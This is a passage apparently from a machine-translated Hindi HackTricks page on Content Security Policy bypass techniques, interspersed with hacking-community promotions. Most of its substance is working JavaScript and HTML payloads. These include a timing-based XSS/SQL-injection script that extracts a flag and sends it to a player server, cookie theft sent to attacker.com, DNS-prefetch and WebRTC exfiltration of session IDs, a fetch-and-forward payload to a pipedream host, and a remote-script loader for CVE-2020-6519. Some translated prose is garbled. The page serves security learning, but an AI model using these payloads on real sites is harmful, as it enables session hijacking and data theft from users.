img-src *; via XSS (iframe) - Time attack

नोटिस करें कि निर्देशिका 'unsafe-inline' की कमी है।
इस बार आप पीड़ित को एक <iframe के माध्यम से XSS के जरिए आपके नियंत्रण में एक पृष्ठ लोड करने के लिए कर सकते हैं। इस बार आप पीड़ित से जिस पृष्ठ को एक्सट्रैक्ट करना चाहते हैं (CSRF) उस पृष्ठ तक पहुंचने के लिए करेंगे। आप पृष्ठ की सामग्री तक पहुंच नहीं सकते, लेकिन अगर किसी प्रकार से आप पृष्ठ को लोड होने में समय को नियंत्रित कर सकते हैं तो आप आवश्यक जानकारी निकाल सकते हैं।

इस बार एक ध्वज निकाला जाएगा, जब किसी व्यंजन को सही ढंग से अनुमानित किया जाता है तो प्रतिक्रिया में अधिक समय लगता है नींद कार्य के कारण। फिर, आप ध्वज निकाल सकेंगे:

<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name=f id=g></iframe> // The bot will load an URL with the payload
<script>
let host = "http://x-oracle-v1.nn9ed.ka0labs.org";
function gen(x) {
x = escape(x.replace(/_/g, '\\_'));
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`;
}

function gen2(x) {
x = escape(x);
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`;
}

async function query(word, end=false) {
let h = performance.now();
f.location = (end ? gen2(word) : gen(word));
await new Promise(r => {
g.onload = r;
});
let diff = performance.now() - h;
return diff > 300;
}

let alphabet = '_abcdefghijklmnopqrstuvwxyz0123456789'.split('');
let postfix = '}'

async function run() {
let prefix = 'nn9ed{';
while (true) {
let i = 0;
for (i;i<alphabet.length;i++) {
let c = alphabet[i];
let t =  await query(prefix+c); // Check what chars returns TRUE or FALSE
console.log(prefix, c, t);
if (t) {
console.log('FOUND!')
prefix += c;
break;
}
}
if (i==alphabet.length) {
console.log('missing chars');
break;
}
let t = await query(prefix+'}', true);
if (t) {
prefix += '}';
break;
}
}
new Image().src = 'http://PLAYER_SERVER/?' + prefix; //Exfiltrate the flag
console.log(prefix);
}

run();
</script>

बुकमार्कलेट के माध्यम से

इस हमले में कुछ सामाजिक इंजीनियरिंग शामिल होगी जहां हमलावर उपयोगकर्ता को यह धोखा देता है कि वह ब्राउज़र के बुकमार्कलेट पर एक लिंक को खींचकर छोड़े। यह बुकमार्कलेट हानिकारक जावास्क्रिप्ट को शामिल करेगा जो जब खींचा और छोड़ा जाए या क्लिक किया जाए, तो वर्तमान वेब विंडो के संदर्भ में क्रियान्वित होगा, CSP को छलकर गुजरता है और कुकीज़ या टोकन जैसी संवेदनशील जानकारी चुरा सकता है

अधिक जानकारी के लिए यहाँ मौजूद मूल रिपोर्ट देखें.

CSP अवरोधन के द्वारा CSP बाईपास

इस CTF व्रिटअप में, CSP को एक अनुमत आईफ्रेम के अंदर एक और संकीर्ण CSP डालकर बाईपास किया गया है जो एक विशिष्ट JS फ़ाइल को लोड करने की अनुमति नहीं देता था, जिसके बाद, प्रोटोटाइप पोल्लूशन या डोम क्लॉबरिंग के माध्यम से एक विभिन्न स्क्रिप्ट का दुरुपयोग करने की अनुमति देता था जिससे किसी भी विचारशील स्क्रिप्ट को लोड करने की अनुमति मिलती थी।

आप एक आईफ्रेम का CSP csp विशेषता के साथ प्रतिबंधित कर सकते हैं:

{% code overflow="wrap" %}

<iframe src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]" csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>

{% endcode %}

इस CTF व्रिटअप में, HTML इन्जेक्शन के माध्यम से CSP को और अधिक प्रतिबंधित किया जा सकता था ताकि CSTI को रोकने वाला एक स्क्रिप्ट निषेधित हो और इसलिए सुरक्षा दोष उत्पन्न हो सकता था.
CSP को और अधिक प्रतिबंधक बनाया जा सकता है HTML मेटा टैग्स का उपयोग करके और इनलाइन स्क्रिप्ट्स को निषेधित किया जा सकता है उनके एंट्री को हटाकर जिससे उनके नॉन्स को अनुमति दी जा सकती है और विशिष्ट इनलाइन स्क्रिप्ट को शा के माध्यम से सक्षम किया जा सकता है:

<meta http-equiv="Content-Security-Policy" content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';">

JS exfiltration with Content-Security-Policy-Report-Only

यदि आप सर्वर को Content-Security-Policy-Report-Only हेडर के साथ प्रतिक्रिया करने के लिए प्रबंधित कर सकते हैं जिसका मान आपके द्वारा नियंत्रित होता है (शायद CRLF के कारण), तो आप इसे अपने सर्वर की ओर देखा सकते हैं और यदि आप <script> के साथ उस JS सामग्री को लपेटते हैं जिसे आप निकालना चाहते हैं और क्योंकि संभावना है कि unsafe-inline को CSP द्वारा अनुमति नहीं है, तो यह एक CSP त्रुटि को ट्रिगर करेगा और स्क्रिप्ट का हिस्सा (संवेदनशील जानकारी वाला) Content-Security-Policy-Report-Only से सर्वर को भेज दिया जाएगा।

एक उदाहरण के लिए इस CTF व्रिटअप को देखें.

CVE-2020-6519

document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = document.createElement(\"script\");s.src = \"https://pastebin.com/raw/dw5cWGK6\";document.body.appendChild(s);'></iframe>";

CSP और आईफ्रेम के साथ जानकारी लीक करना

  • एक iframe बनाया जाता है जो एक URL की ओर पोइंट करता है (हम इसे https://example.redirect.com नाम देते हैं) जो CSP द्वारा अनुमति दी गई है।
  • इस URL फिर एक गुप्त URL (उदाहरण के लिए, https://usersecret.example2.com) पर रीडायरेक्ट होता है जो CSP द्वारा अनुमति नहीं दी गई है।
  • securitypolicyviolation इवेंट को सुनकर, blockedURI प्रॉपर्टी को कैप्चर किया जा सकता है। यह प्रॉपर्टी ब्लॉक हुए URI के डोमेन को प्रकट करती है, जिससे प्रारंभिक URL ने रीडायरेक्ट किया।

यह दिलचस्प है कि Chrome और Firefox जैसे ब्राउज़र्स में आईफ्रेम को CSP के संबंध में अलग-अलग व्यवहार होता है, जिससे अपरिभाषित व्यवहार के कारण संवेदनशील जानकारी का लीक हो सकता है।

एक और तकनीक में CSP का उपयोग करके गुप्त सबडोमेन का अंदाज लगाना शामिल है। यह विधि एक बाइनरी खोज एल्गोरिदम पर निर्भर करती है और विशेष डोमेन्स को ब्लॉक करने या अनुमति देने के लिए CSP को समायोजित करने पर। उदाहरण के लिए, यदि गुप्त सबडोमेन अज्ञात वर्णों से बना है, तो आप CSP निर्देशिका को संशोधित करके इन सबडोमेन्स को ब्लॉक या अनुमति देने के लिए विभिन्न सबडोमेन्स का परीक्षण कर सकते हैं। यहां एक स्निपेट दिखाया गया है जो इस विधि को सुविधाजनक बनाने के लिए CSP को कैसे सेट किया जा सकता है:

img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev

CSP द्वारा अनुमति दी या अवरुद्ध की गई अनुरोधों का मॉनिटरिंग करके, व्यक्ति गोपनीय सबडोमेन में संभावित वर्णों को संक्षेपित कर सकता है, अंततः पूर्ण URL का पता लगा सकता है।

दोनों तकनीकों में CSP के कार्यान्वयन और ब्राउज़र में व्यवहार का शोध किया जाता है, जिससे प्रतीत होता है कि दिखाई देने वाली सुरक्षित नीतियाँ अनजाने में संवेदनशील जानकारी छिपा सकती है।

यहाँ से ट्रिक देखें।

HackenProof Discord में शामिल होकर अनुभवी हैकर्स और बग बाउंटी हंटर्स के साथ संवाद करने के लिए सर्वर जुड़ें!

हैकिंग इंसाइट्स
हैकिंग के उत्साह और चुनौतियों में डूबने वाली सामग्री के साथ जुड़ें

रियल-टाइम हैक न्यूज़
रियल-टाइम समाचार और अंदरूनी दुनिया के साथ अप-टू-डेट रहें

नवीनतम घोषणाएं
नवीनतम बग बाउंटी लॉन्चिंग और महत्वपूर्ण प्लेटफ़ॉर्म अपडेट के साथ सूचित रहें

हमारे साथ जुड़ें Discord और आज ही शीर्ष हैकर्स के साथ सहयोग करना शुरू करें!

CSP को छलने के लिए असुरक्षित प्रौद्योगिकियाँ

PHP प्रतिक्रिया बफर ओवरलोड

PHP को डिफ़ॉल्ट रूप से 4096 बाइट तक की प्रतिक्रिया को बफर करने के लिए जाना जाता है। इसलिए, यदि PHP एक चेतावनी दिखा रहा है, तो चेतावनियों में पर्याप्त डेटा प्रदान करके, प्रतिक्रिया CSP हेडर से पहले भेजी जाएगी, जिससे हेडर को नजरअंदाज किया जाएगा।
फिर, तकनीक बुनियादी रूप से चेतावनियों के साथ प्रतिक्रिया बफर भरने में है ताकि CSP हेडर न भेजा जाए।

विचार यहाँ से आया है।

त्रुटि पृष्ठ पुनः लिखें

इस व्रिटअप से ऐसा लगता है कि एक सीएसपी सुरक्षा को छलने के लिए एक त्रुटि पृष्ठ (संभावित रूप से बिना सीएसपी के) लोड करके और उसकी सामग्री को पुनः लिखकर यह संभव था।

a = window.open('/' + 'x'.repeat(4100));
setTimeout(function() {
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`;
}, 1000);

कुछ + 'self' + वर्डप्रेस

कुछ एक तकनीक है जो एक पृष्ठ के एंडपॉइंट में XSS (या अत्यंत सीमित XSS) का दुरुपयोग करती है एक ही मूल से अन्य एंडपॉइंट का दुरुपयोग करने के लिए। यह एक हमलावर पृष्ठ से विकल्पित एंडपॉइंट को लोड करके किया जाता है और फिर हमलावर पृष्ठ को वास्तविक एंडपॉइंट में रिफ्रेश किया जाता है जिसे आप दुरुपयोग करना चाहते हैं। इस तरह विकल्पित एंडपॉइंट प्रयोग कर सकता है opener ऑब्ज

var sessionid = document.cookie.split('=')[1]+".";
document.location = "https://attacker.com/?" + sessionid;

मेटा टैग

आप एक मेटा टैग डालकर रीडायरेक्ट कर सकते हैं (यह केवल एक रीडायरेक्ट है, यह सामग्री नहीं लीक करेगा)

<meta http-equiv="refresh" content="1; http://attacker.com">

DNS Prefetch

पेज को तेजी से लोड करने के लिए, ब्राउज़र होस्टनेम को आईपी पते में पूर्व-संकेतित करने जा रहा है और बाद में उन्हें कैश करेगा।
आप एक ब्राउज़र को होस्टनेम को पूर्व-संकेतित करने के लिए इस तरह से निर्देशित कर सकते हैं: <link reol="dns-prefetch" href="something.com">

आप इस व्यवहार का दुरुपयोग कर सकते हैं ताकि DNS अनुरोधों के माध्यम से संवेदनशील जानकारी को बाहर ले जाएं:

var sessionid = document.cookie.split('=')[1]+".";
var body = document.getElementsByTagName('body')[0];
body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + sessionid + "attacker.ch\">";

एक और तरीका:

यदि आपको वेबसाइट के किसी भी भाग को अनुमति नहीं दी गई Content Security Policy (CSP) से गुजरने के लिए, तो आप एक और तरीके का उपयोग कर सकते हैं। इस तरीके में, आप एक अलग डोमेन पर अपने अवैध स्क्रिप्ट को होस्ट कर सकते हैं और फिर उसे अपनी वेबसाइट में एम्बेड कर सकते हैं। इससे वेबसाइट के अनुशासन को उल्टा किया जा सकता है और अनुमति नहीं दी गई स्रोतों को एक्सेस किया जा सकता है।

const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);

इस से बचने के लिए सर्वर HTTP हेडर भेज सकता है:

X-DNS-Prefetch-Control: off

{% hint style="info" %} शायद, यह तकनीक headless ब्राउज़रों (बॉट्स) में काम नहीं करती {% endhint %}

WebRTC

कई पृष्ठों पर आप पढ़ सकते हैं कि WebRTC connect-src नीति की CSP की जांच नहीं करता।

वास्तव में आप एक DNS अनुरोध का उपयोग करके जानकारी लीक कर सकते हैं। इस कोड की जाँच करें:

(async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})()

एक और विकल्प:

var pc = new RTCPeerConnection({
"iceServers":[
{"urls":[
"turn:74.125.140.127:19305?transport=udp"
],"username":"_all_your_data_belongs_to_us",
"credential":"."
}]
});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);

ऑनलाइन CSP नीतियों की जांच

स्वचालित रूप से CSP बनाना

https://csper.io/docs/generating-content-security-policy

संदर्भ

HackenProof Discord सर्वर में शामिल होकर अनुभवी हैकर्स और बग बाउंटी हंटर्स के साथ संवाद करें!

हैकिंग इंसाइट्स
हैकिंग के रोमांच और चुनौतियों में डूबने वाली सामग्री के साथ जुड़ें

रियल-टाइम हैक न्यूज़
रियल-टाइम समाचार और अंतर्दृष्टि के माध्यम से हैकिंग विश्व में अप-टू-डेट रहें

नवीनतम घोषणाएं
नवीनतम बग बाउंटी लॉन्च और महत्वपूर्ण प्लेटफॉर्म अपडेट के साथ सूचित रहें

हमारे साथ जुड़ें Discord और आज ही शीर्ष हैकर्स के साथ सहयोग करना शुरू करें!

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके: